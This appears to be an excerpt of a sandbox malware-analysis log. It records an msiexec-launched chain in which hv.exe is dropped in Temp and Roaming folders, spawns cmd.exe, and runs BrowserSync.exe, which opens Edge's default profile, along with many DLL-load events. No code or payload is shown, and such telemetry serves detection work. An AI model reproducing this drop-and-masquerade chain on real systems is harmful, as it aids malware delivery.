Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6516 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2088,i,11994368559389656704,12979874905001727218,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2072,i,8788346305401672890,7496721526284428012,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6792 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Caret\hv.exe "C:\Users\user\AppData\Local\Temp\Caret\hv.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Process created: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\BrowserSync.exe C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\BrowserSync.exe C:\Users\user\AppData\Local\Temp\BrowserSync.exe
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2060,i,4060890081316358745,17659555323180037,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6516 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6792 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2088,i,11994368559389656704,12979874905001727218,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2072,i,8788346305401672890,7496721526284428012,262144 /prefetch:3

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: version.dll	Jump to behavior
